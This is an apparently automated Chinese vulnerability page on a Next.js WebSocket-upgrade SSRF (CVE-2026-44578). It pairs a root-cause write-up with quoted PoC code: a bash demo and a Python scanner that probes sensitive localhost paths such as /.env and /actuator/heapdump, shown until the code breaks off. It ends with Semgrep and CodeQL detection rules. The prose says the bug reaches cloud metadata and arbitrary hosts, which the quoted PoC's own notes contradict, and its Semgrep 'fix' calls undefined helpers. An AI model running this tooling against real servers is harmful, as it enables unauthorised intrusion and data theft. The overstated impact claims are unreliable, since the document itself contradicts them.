🎯 CVE-2026-44578 深度技术分析:漏洞根因 · PoC/EXP · 检测指纹

🎯 CVE 全聚合深度分析

CVE-2026-44578 深度技术分析

📊 聚合 2 来源🧪 含 PoC🕵️ 含指纹
GitHub-AdvisoryPoC-in-GitHub

CVE-2026-44578 深度技术分析:Next.js WebSocket 升级处理中的 SSRF

CVE-2026-44578 深度技术分析:Next.js 内置 Node.js 服务器 WebSocket 升级处理中的 SSRF

摘要:CVE-2026-44578(GHSA-c4j6-fc7j-m34r)是影响 Next.js 内置 Node.js 服务器(self-hosted)的高危服务端请求伪造(SSRF)漏洞。攻击者通过构造携带 Upgrade: websocket 的恶意请求,可让服务器把流量代理到任意内部或外部目的地,从而读取云元数据、内网服务响应等敏感数据。该漏洞根因在于 WebSocket 升级路径没有复用普通 HTTP 请求链路已有的“外部重写安全校验”和内部地址拦截逻辑。Vercel 托管的部署不受影响。本文基于 GitHub Advisory、PoC 仓库与检测规则,对该漏洞进行完整的技术链分析。

📌 漏洞概述

项目内容
CVECVE-2026-44578
GitHub AdvisoryGHSA-c4j6-fc7j-m34r
漏洞类型Server-Side Request Forgery(SSRF,CWE-918)
严重性HIGH 高危(CVSS 具体向量未在公告数据中公开,评级为 GitHub Advisory “HIGH”)
影响范围使用内置 Node.js 服务器自托管的 Next.js 应用(next start / 自定义 Node.js server),PoC 验证受影响版本为 next@15.5.15
不受影响Vercel 托管部署(Vercel 的托管代理层不可被原始 WebSocket 升级直接触达,故不受影响)
CISA KEV未收录(截至分析时无 CISA 已知被利用漏洞目录收录记录)

该漏洞允许攻击者伪造一次 WebSocket 升级请求(GET http://内网目标/ HTTP/1.1 + Upgrade: websocket),使 Next.js 自托管服务器充当跳板,把请求代理到任意内网或外网地址。由于 WebSocket 握手本质仍是一个 HTTP GET 请求,目标服务返回的 HTTP 响应会沿着 TCP 连接“带内”返回给攻击者,形成一个可读数据的 SSRF 原语,而非简单的盲 ssrf。

🔬 漏洞根因分析

要理解该漏洞,需要清楚 Node.js HTTP 服务器的事件模型:当客户端发送携带 Connection: Upgrade 的请求时,Node.js 不会触发普通的 request 事件,而是触发独立的 upgrade 事件,其回调签名为 upgrade(req, socket, head)。Next.js 的内置 Node.js 服务器在 next start 运行时会监听该事件,并进入独立的 WebSocket 升级处理流程(对应源码中的 handleUpgrade / handleWebSocketUpgrade 等内部函数)。

问题恰恰出在这条独立路径上。普通 HTTP 请求在 Next.js 中会经过完整的路由匹配、中间件、rewrite 规则解析,并且只有当目标被路由配置显式标记为“安全的外部 rewrite”时才会被允许代理;同时,常规代理链路还会对目标地址执行内部 IP / 元数据地址的 SSRF 防护检查。然而WebSocket 升级处理路径在早期阶段就拿走了请求行中的目标 URI,并直接基于该 URI 发起代理转发,完全没有复用上述安全性校验。也就是说:攻击者把目标写成绝对 URI(absolute-form)格式,例如 http://169.254.169.254/latest/meta-data/,升级处理器就会忠实地替攻击者连接该地址。

下面是一个典型的攻击请求形态:

GET http://127.0.0.1:80/ HTTP/1.1
Host: victim.example.com
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13

关键在请求行:这里使用的是 RFC 7230 中定义的 absolute-form 请求目标(通常用于显式代理),而不是默认的 origin-form(GET /path HTTP/1.1)。Next.js 的升级处理器未区分二者,把 absolute-form 中的 http://127.0.0.1:80/ 直接解析为代理目标。上述例子中,目标正好是服务器自身(localhost:80),于是发生了“Next.js 代理请求到 Next.js 自己”的自循环请求,并成功把首页 HTML 返回给攻击者——这正是 PoC 的复现思路。

为什么 Vercel 不受影响?在 Vercel 托管架构中,客户应用运行在受管运行时内,外部网络流量必须经过 Vercel 的网关代理层;网关会终结并校验 Upgrade 请求,客户 Next.js 进程的原生 Node.js upgrade 监听器不会直接暴露给不受信任的网络。而自托管部署(尤其将 next start 直接绑定在 80/443 端口,或按生产环境常用的 docker run -p 80:3000 方式映射外网)则保留了这条原生监听路径,因此受到该漏洞影响。

💥 影响与危害

该 SSRF 的首个实际危害是内网敏感信息泄露。攻击者可让服务器向以下目标发起请求并读取响应:

  • 云元数据服务:AWS 169.254.169.254、GCP metadata.google.internal、阿里云 100.100.100.200 等;可进一步获取 IAM 临时凭证、实例 ID、用户数据等敏感内容。
  • 回环地址本机服务:如本机 80 端口(PoC 已验证)、Redis/Memcached 管理等 HTTP 化运维端口,以及 Docker Daemon API(unix:///var/run/docker.sock 或 TCP 2375 端口)。
  • 内网横向探测:以源站为跳板对 10.x.x.x172.16.x.x192.168.x.x 网段进行端口扫描与 HTTP 服务指纹识别;由于响应带内返回,扫描效率很高。
  • 读取源站自身敏感页面:PoC 演示的就是读回 Next.js 自身首页;如果服务内部存在未公开状态页、调试路由或管理接口,均可被远程读取。
  • 绕过网络 ACL / WAF:攻击者原本在公网,无法直接访问内网;该漏洞将源站变成一个合法的“内网跳板机”,且 WebSocket 升级流量在多数反代和 WAF 审计中被忽略,具备较高的隐蔽性。

如果内网目标支持 WebSocket 或任意可完成 Upgrade 握手的协议,攻击者甚至可以在握手成功后获得一条双向原始 TCP 隧道,进一步与内网服务进行持久交互,造成更深层的横向渗透风险。

🧪 PoC 复现分析

PoC 上下文来自公开仓库

🧪 PoC 代码(GitHub 实际仓库)

🔗 verify-ghsa-c4j6-fc7j-m34r

### 文件: demo_impact.sh
```
#!/usr/bin/env bash
# demo_impact.sh — End-to-end impact demo for GHSA-c4j6-fc7j-m34r
#
# Scenario: Next.js self-hosted directly on port 80 (typical prod pattern
# via setcap / Docker port-mapping / root). The SSRF target defaults to
# localhost:80 — which IS the same Next process. The attacker exfiltrates
# the Next app's own HTML home page through the bug.
#
# Requires:
#   - sudo (for port 80 bind)
#   - a vulnerable Next install at LAB_DIR (default ../next-vuln-lab)
#
# Run:
#   ./demo_impact.sh
set -euo pipefail

LAB_DIR="${LAB_DIR:-$HOME/tmp/next-vuln-lab}"
SCRIPT_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" &&
pwd )"
VERIFIER="$SCRIPT_DIR/verify_ghsa_c4j6.py"

if [ ! -d "$LAB_DIR" ];
then
  echo "lab dir not found at $LAB_DIR — set LAB_DIR or create the lab first" >&2
  exit 1
fi

cd "$LAB_DIR"

# pin vulnerable version
echo "[*] ensuring next@15.5.15 (vulnerable)..."
npm i next@15.5.15 --no-audit --no-fund --loglevel=error >/dev/null
./node_modules/.bin/next --version

# kill anything on :80 and :3030 from previous runs
sudo lsof -ti:80 2>/dev/null  |
xargs -r sudo kill -9 2>/dev/null ||true
lsof -ti:3030 2>/dev/null     |xargs -r kill -9 2>/dev/null      ||true
sleep 1

echo "[*] building and starting Next on :80 (needs sudo)..."
./node_modules/.bin/next build >/dev/null
sudo -b ./node_modules/.bin/next start -p 80 >/tmp/next-impact-demo.log 2>&1

echo "[*] waiting for Next to bind :80..."
for _ in $(seq 1 30);
do
  if curl -sf -o /dev/null http://127.0.0.1:80/;then break;fi
  sleep 0.5
done
curl -sI http://127.0.0.1:80/ |head -2

echo
echo "[*] firing SSRF exploit — read Next's own home page via the upgrade SSRF"
echo "    target=127.0.0.1:80  probe-path=/  (the proxy will loop to localhost:80=Next itself)"
echo

python3 "$VERIFIER" --target 127.0.0.1:80 --probe-path / --timeout 5 --json \
  |
python3 -c '
import sys,json
r = json.loads(sys.stdin.read())
print(f"verdict:          {r[\"verdict\"]}")
print(f"impact_confirmed: {r.get(\"impact_confirmed\",
False)}")
if r.get("upstream_status"):
    print(f"upstream_status:  {r[\"upstream_status\"]}")
if r.get("upstream_server"):
    print(f"upstream_server:  {r[\"upstream_server\"]}")
print(f"response (first 600 chars):")
print("-"*60)
print(r.get("response_snippet","")[:600])
print("-"*60)
print()
if r.get("impact_confirmed"):
    print("IMPACT CONFIRMED — SSRF reached a service on the target localhost")
    print("                   and read response data back (see snippet above).")
    sys.exit(0)
else:
    print("Impact NOT confirmed — vulnerability indicator present but no")
    print("data was exfiltrated. Re-check that something is listening on :80.")
    sys.exit(1)
'

echo
echo "[*] cleanup: stop Next on :80"
sudo lsof -ti:80 |
xargs -r sudo kill -9 2>/dev/null ||true

```

### 文件: verify_ghsa_c4j6.py
```
#!/usr/bin/env python3
"""
verify_ghsa_c4j6.py — In-band verifier for GHSA-c4j6-fc7j-m34r / CVE-2026-44578
(Next.js WebSocket-upgrade SSRF;affected: next >=13.4.13 <15.5.16,
>=16.0.0 <16.2.5)

For authorized security testing only.

DETECTION MODEL (revised after empirical testing against next@15.5.15 vs 15.5.16):

The vulnerable code path in `resolveRoutes` treats any request URI containing
`//` (which is every absolute-form request-URI) as a "normalize repeated
slashes" case. It collapses the `//` to `/`,
then the unpatched upgrade
handler in `router-server.ts` still proxies the result. The mangled target
(`http:/host:port/path` with one slash) loses its host,so Node's URL parser
gives `host=null`,
and `http-proxy` falls back to `localhost:80` (HTTPS:443).
The practical SSRF surface is therefore ANY service listening on the Next.js
host's localhost:80 or localhost:443 — with an attacker-controlled path.

Because the connection never reaches an external host,
an out-of-band canary
will not receive callbacks. Detection is instead done in-band by reading the
upgrade socket:

  - "Internal Server Error" in the response  ->VULNERABLE
        (Next's http-proxy error handler ran;only the pre-patch path
         enters that code branch.)
  - Response starts with "HTTP/1."           ->
VULNERABLE + reachable
        (A service on the host's localhost actually answered the proxy.)
  - Empty response / clean close             ->LIKELY PATCHED / not Next /
                                                behind a reverse proxy that
                                                strips Upgrade
  - Anything else                            ->
INCONCLUSIVE

False-positive guard: a control probe with the same absolute-URI request
line but NO Upgrade headers is sent first. If the front-end (nginx/Apache/
CDN) returns the same response to both probes,
it is short-circuiting the
malformed request line on its own — the SSRF never reached Next — and the
verdict is downgraded to `front_end_intercepts`. Disable with
--no-control-probe.

Usage:
  python3 verify_ghsa_c4j6.py --target https://app1.example.com
  python3 verify_ghsa_c4j6.py --targets-file targets.txt --json
  cat targets.txt |
python3 verify_ghsa_c4j6.py
"""

from __future__ import annotations

import argparse
import asyncio
import base64
import json
import re
import secrets
import ssl
import sys
from urllib.parse import urlsplit


DEFAULT_TIMEOUT = 5.0
DEFAULT_CONCURRENCY = 10
DEFAULT_PROBE_PATH = "/x"  # arbitrary;
becomes the path on localhost:80 of the target

HTTP_STATUS_RE = re.compile(r"^HTTP/1\.\d (\d{3}) ")

# Common paths that often surface co-located services on localhost. The SSRF
# in this CVE is pinned to the target's localhost:80/443,so these are the
# kinds of paths that can reveal what (if anything) is listening there.
DEFAULT_SCAN_PATHS = [
    "/","/index.html",
# apache / nginx status modules
    "/server-status","/server-info","/nginx_status","/stub_status",# health &status
    "/health","/healthz","/_health","/status","/_status","/ping","/ready","/readyz","/live","/livez",# metrics
    "/metrics","/prometheus","/_metrics",# admin panels (common framework defaults)
    "/admin","/admin/","/administrator/","/manager/html",# tomcat
    "/console",
# weblogic / others
    "/wp-admin/","/wp-login.php",# generic apis
    "/api","/api/v1","/api/v2",# spring boot actuator
    "/actuator","/actuator/env","/actuator/health","/actuator/mappings","/actuator/beans","/actuator/configprops","/actuator/heapdump","/actuator/threaddump",# go pprof / expvar
    "/debug/vars","/debug/pprof/","/debug/pprof/heap",
# docker daemon over http
    "/containers/json","/version","/info","/images/json",# leaky config files often dropped at webroot
    "/.env","/.git/config","/.git/HEAD","/config","/config.json",# php classics
    "/phpinfo.php","/info.php","/phpmyadmin/",# elasticsearch
    "/_cat/indices","/_cluster/health","/_nodes",# jmx / jolokia
    "/jmx-console/","/jolokia/list",
# next.js itself (loopback when next is the localhost service)
    "/_next/static/",]


def build_payload(absolute_uri: str,target_host_header: str) ->bytes:
    lines = [
        f"GET {absolute_uri}HTTP/1.1",f"Host: {target_host_header}","Connection: Upgrade","Upgrade: websocket","Sec-WebSocket-Version: 13","Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==","","",
]
    return "\r\n".join(lines).encode("latin-1")


def build_control_payload(absolute_uri: str,target_host_header: str) ->bytes:
    """Same absolute-URI request line as the SSRF probe,but with no Upgrade
    headers. Used to detect front-end proxies (nginx/Apache/etc) that reject
    the request line themselves — those return identical errors with or
    without the upgrade headers,
which would otherwise produce a false
    positive on the `HTTP/1.x` / `Internal Server Error` heuristics."""
    lines = [
        f"GET {absolute_uri}HTTP/1.1",f"Host: {target_host_header}","Connection: close","","",]
    return "\r\n".join(lines).encode("latin-1")


def parse_target(url: str) ->tuple[str,int,
bool]:
    if "://" not in url:
        url = "http://" + url
    parts = urlsplit(url)
    host = parts.hostname
    if not host:
        raise ValueError(f"invalid target: {url}")
    is_tls = parts.scheme == "https"
    port = parts.port or (443 if is_tls else 80)
    return host,port,is_tls


def parse_proxy(url: str) ->tuple[str,int,str |None,str |None]:
    """Return (host,port,username,
password) for an http(s):// CONNECT proxy."""
    if "://" not in url:
        url = "http://" + url
    p = urlsplit(url)
    if p.scheme not in ("http","https"):
        raise ValueError(f"unsupported proxy scheme: {p.scheme}")
    if not p.hostname:
        raise ValueError(f"invalid proxy URL: {url}")
    port = p.port or (443 if p.scheme == "https" else 8080)
    return p.hostname,port,
p.username,p.password


async def _open_via_proxy(
    target_host: str,target_port: int,ssl_ctx: ssl.SSLContext |None,proxy_info: tuple[str,int,str |None,str |None],timeout: float,):
    """Open a (possibly TLS) connection through an HTTP CONNECT proxy."""
    p_host,p_port,p_user,p_pass = proxy_info
    reader,writer = await asyncio.wait_for(
        asyncio.open_connection(p_host,p_port),
timeout=timeout
    )

    lines = [
        f"CONNECT {target_host}:{target_port}HTTP/1.1",f"Host: {target_host}:{target_port}",]
    if p_user is not None:
        creds = f"{p_user}:{p_pass or ''}".encode("latin-1")
        token = base64.b64encode(creds).decode("ascii")
        lines.append(f"Proxy-Authorization: Basic {token}")
    lines.extend(["",
""])
    writer.write("\r\n".join(lines).encode("latin-1"))
    await writer.drain()

    status = await asyncio.wait_for(reader.readline(),timeout=timeout)
    if not status:
        writer.close()
        raise OSError("proxy closed before CONNECT response")
    parts = status.decode("latin-1","replace").split(" ",2)
    if len(parts) <
2 or not parts[1].startswith("2"):
        writer.close()
        raise OSError(f"CONNECT failed: {status.decode('latin-1','replace').strip()}")

    while True:
        line = await asyncio.wait_for(reader.readline(),timeout=timeout)
        if line in (b"\r\n",b""):
            break

    if ssl_ctx is not None:
        if not hasattr(writer,
"start_tls"):
            raise RuntimeError(
                "TLS over CONNECT proxy requires Python 3.11+"
            )
        await writer.start_tls(ssl_ctx,server_hostname=target_host)

    return reader,writer


def _first_line(snippet: str) ->str:
    return snippet.split("\r\n",1)[0] if snippet else ""


def _responses_match(probe: str,control: str) ->
bool:
    """Heuristic: probe response looks like the control (no-upgrade) response,
meaning the front-end short-circuited the request regardless of Upgrade
    headers. We compare the status line and total length within a tolerance
    so dynamic content like `Date:` doesn't cause false negatives."""
    if not probe or not control:
        return False
    if _first_line(probe) != _first_line(control):
        return False
    a,b = len(probe),
len(control)
    return abs(a - b) <= max(50,int(0.10 * max(a,b)))


def classify(snippet: str,control_snippet: str |None = None) ->tuple[str,bool,dict]:
    """Map the raw bytes of the socket reply to (verdict,impact_confirmed,
extras).

    impact_confirmed is True iff the response shows that the proxied upgrade
    actually reached a service on the target's localhost:80/443 and read
    something back — i.e. real data exfiltration through the SSRF gadget.

    When `control_snippet` is provided (response to the same request line
    with `Connection: close` and no Upgrade headers),
a front-end-proxy
    short-circuit guard runs: if both responses look identical,the host's
    own front-end is rejecting/handling the request line itself and the
    SSRF never fired — verdict downgrades to `front_end_intercepts`.
    """
    extras: dict = {}if not snippet:
        return "likely_patched",False,extras

    if control_snippet is not None and _responses_match(snippet,
control_snippet):
        # Front-end (nginx/Apache/CDN/etc) responded identically to the
        # control probe — the upgrade-driven SSRF path is not what we saw.
        if snippet.startswith("HTTP/1."):
            m = HTTP_STATUS_RE.match(snippet)
            if m:
                extras["front_end_status"] = int(m.group(1))
            for line in snippet.split("\r\n")[1:15]:
                low = line.lower()
                if low.startswith("server:"):
                    extras["front_end_server"] = line.split(":",
1)[1].strip()
                    break
        return "front_end_intercepts",False,
extras

    if snippet.startswith("HTTP/1."):
        m = HTTP_STATUS_RE.match(snippet)
        if m:
            extras["upstream_status"] = int(m.group(1))
        # parse a few common headers from the first chunk for operator triage
        for line in snippet.split("\r\n")[1:15]:
            low = line.lower()
            if low.startswith("server:"):
                extras["upstream_server"] = line.split(":",
1)[1].strip()
            elif low.startswith("content-type:"):
                extras["upstream_content_type"] = line.split(":",1)[1].strip()
        return "vulnerable_proxy_succeeded",True,extras
    if "Internal Server Error" in snippet:
        return "vulnerable",False,extras
    return "inconclusive",False,extras


async def _send_payload(
    host: str,port: int,is_tls: bool,
payload: bytes,timeout: float,verify_tls: bool,proxy_info: tuple |None,) ->tuple[str,str |None]:
    """Open a (TLS / proxied) socket,send `payload`,read until close.
    Returns (snippet,error). Snippet is the bytes decoded as latin-1 (so
    binary stays intact). On any connect/send error,error is set and
    snippet is empty."""
    ssl_ctx: ssl.SSLContext |
None = None
    if is_tls:
        ssl_ctx = ssl.create_default_context()
        if not verify_tls:
            ssl_ctx.check_hostname = False
            ssl_ctx.verify_mode = ssl.CERT_NONE

    try:
        if proxy_info is not None:
            reader,writer = await _open_via_proxy(
                host,port,ssl_ctx,proxy_info,
timeout
            )
        elif ssl_ctx is not None:
            reader,writer = await asyncio.wait_for(
                asyncio.open_connection(host,port,ssl=ssl_ctx,server_hostname=host),timeout=timeout,)
        else:
            reader,writer = await asyncio.wait_for(
                asyncio.open_connection(host,port),timeout=timeout
            )
    except (asyncio.TimeoutError,OSError,
ssl.SSLError,RuntimeError) as e:
        return "",str(e)

    try:
        writer.write(

🕵️ 检测指纹规则

🛡️ Semgrep 审计规则: CVE-2026-44578.yaml

rules:
- id: CVE-2026-44578-ssrf-javascript
  languages:
  - javascript
  - typescript
  severity: ERROR
  message: "Potential SSRF vulnerability in WebSocket upgrade handling in Next.js"
  patterns:
  - pattern-either:
    - pattern: "upgrade(req,socket,head)"
    - pattern: "handleUpgrade(req,socket,head)"
    - pattern: "handleWebSocketUpgrade(req,
...)"
  - pattern-not-inside: "createProxyServer({...})"
  fix: "authMiddleware(req,socket,head);validateUpgradeUrl(req.url);upgrade(req,socket,
head);"
  metadata:
    cwe: "CWE-918"
    owasp: "A1: Server-Side Request Forgery"
    technology: nextjs
    references:
    - "https://nvd.nist.gov/vuln/detail/CVE-2026-44578"
- id: CVE-2026-44578-ssrf-typescript
  languages:
  - typescript
  severity: ERROR
  message: "Potential SSRF vulnerability in WebSocket upgrade handling in Next.js"
  patterns:
  - pattern-either:
    - pattern: "upgrade(req: $REQ,
socket: $SOCK,head: $HEAD)"
    - pattern: "handleUpgrade(req: $REQ,socket: $SOCK,head: $HEAD)"
    - pattern: "handleWebSocketUpgrade(req: $REQ,...)"
  - pattern-not-inside: "createProxyServer({...})"
  fix: "authMiddleware(req,socket,head);validateUpgradeUrl(req.url);upgrade(req,socket,
head);"
  metadata:
    cwe: "CWE-918"
    owasp: "A1: Server-Side Request Forgery"
    technology: nextjs
    references:
    - "https://nvd.nist.gov/vuln/detail/CVE-2026-44578"

🛡️ CodeQL 审计规则: CVE-2026-44578.ql

/**
 * @kind path-problem
 * @id javascript/ssrf/cve-2026-44578
 * @name SSRF via WebSocket upgrade in Next.js
 * @description User-controlled WebSocket upgrade requests are proxied to arbitrary destinations,
leading to server-side request forgery
 * @problem.severity error
 * @tags security
 *       external/cwe/cwe-918
 */
import javascript
import semmle.javascript.security.dataflow.ServerSideRequestForgeryQuery
import ServerSideRequestForgery::PathGraph

from
  ServerSideRequestForgery::PathNode source,ServerSideRequestForgery::PathNode sink
where
  ServerSideRequestForgery::flowPath(source,
sink) and
  exists(DataFlow::CallNode wsCall |wsCall.getCalleeName() = "upgrade" and
    wsCall = sink.getNode().asExpr().(DataFlow::CallNode)
  )
select sink.getNode(),source,sink,"User input in WebSocket upgrade request flows to $@ - potential SSRF",sink.getNode(),"proxied upgrade request"

🤖 本文由漏洞情报系统自动聚合生成 · 2026-07-31 23:08 · 数据源: NVD/GitHub-Advisory/OSV/CISA-KEV/Exploit-DB/PoC-in-GitHub + 检测规则库

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)